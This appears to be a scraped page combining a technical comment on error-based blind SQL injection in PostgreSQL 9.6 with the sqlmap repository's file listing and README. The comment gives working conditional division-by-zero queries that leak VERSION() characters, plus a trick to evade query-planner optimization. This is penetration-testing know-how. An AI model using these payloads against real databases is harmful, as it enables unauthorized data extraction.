Sadly, the mechanism triggering the error using CAST to integer on a string did not work for me. This is probably caused by PostgreSQL optimizing the query as described in https://www.postgresql.org/docs/9.6/static/functions-conditional.html : "Note: As described in Section 4.2.14, there are various situations in which subexpressions of an expression are evaluated at different times, so that the principle that "CASE evaluates only necessary subexpressions" is not ironclad. For example a constant 1/0 subexpression will usually result in a division-by-zero failure at planning time, even if it's within a CASE arm that would never be entered at run time." My trivial test case for causing/not causing an error based on a condition was: ------------------------------------------------------------------------ mytestdb=> SELECT CASE WHEN (1=1) THEN 1/1 ELSE 1/0 END; 1 mytestdb=> SELECT CASE WHEN (1=2) THEN 1/1 ELSE 1/0 END; ERROR: division by zero ------------------------------------------------------------------------ As expected, the division by zero error is only triggered when the condition is not met. Second, dynamic, testcase (the first character of VERSION() has ASCII code 80, so last condition is expected to return true): ------------------------------------------------------------------------ mytestdb=> SELECT ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1)); 80 (1 row) mytestdb=> SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1))>126) THEN 1 ELSE 2/0 END) IS NULL; ERROR: division by zero mytestdb=> SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1))>26) THEN 1 ELSE 2/0 END) IS NULL; ERROR: division by zero ------------------------------------------------------------------------ However, the ELSE part is evaluated both when the condition is true and when it is not true, as described in the documentation cited above. This can be worked around by using an error that can not be detected by static analysis (length of version() is about 100, so last condition is expected to return true): ------------------------------------------------------------------------ mytestdb=> SELECT (CASE WHEN (char_length(version())<80) THEN (1/(char_length(substring(version(),1,1))-1)) ELSE 2 END); 2 mytestdb=> SELECT (CASE WHEN (char_length(version())>80) THEN (1/(char_length(substring(version(),1,1))-1)) ELSE 2 END); ERROR: division by zero ------------------------------------------------------------------------ While we know that substring(X, 1, 1) will return 1 for any non-empty string, the database engine is probably not able to optimize that away based on the slight chance that VERSION() may return an empty string. This has been used successfully on PostgreSQL 9.6. |
||
---|---|---|
doc | ||
extra | ||
lib | ||
plugins | ||
procs | ||
shell | ||
tamper | ||
thirdparty | ||
txt | ||
udf | ||
waf | ||
xml | ||
.gitattributes | ||
.gitignore | ||
.travis.yml | ||
ISSUE_TEMPLATE.md | ||
README.md | ||
sqlmap.conf | ||
sqlmap.py | ||
sqlmapapi.py |
sqlmap
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
Screenshots
You can visit the collection of screenshots demonstrating some of features on the wiki.
Installation
You can download the latest tarball by clicking here or latest zipball by clicking here.
Preferably, you can download sqlmap by cloning the Git repository:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap works out of the box with Python version 2.6.x and 2.7.x on any platform.
Usage
To get a list of basic options and switches use:
python sqlmap.py -h
To get a list of all options and switches use:
python sqlmap.py -hh
You can find a sample run here. To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the user's manual.
Links
- Homepage: http://sqlmap.org
- Download: .tar.gz or .zip
- Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
- Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
- User's manual: https://github.com/sqlmapproject/sqlmap/wiki
- Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
- Twitter: @sqlmap
- Demos: http://www.youtube.com/user/inquisb/videos
- Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots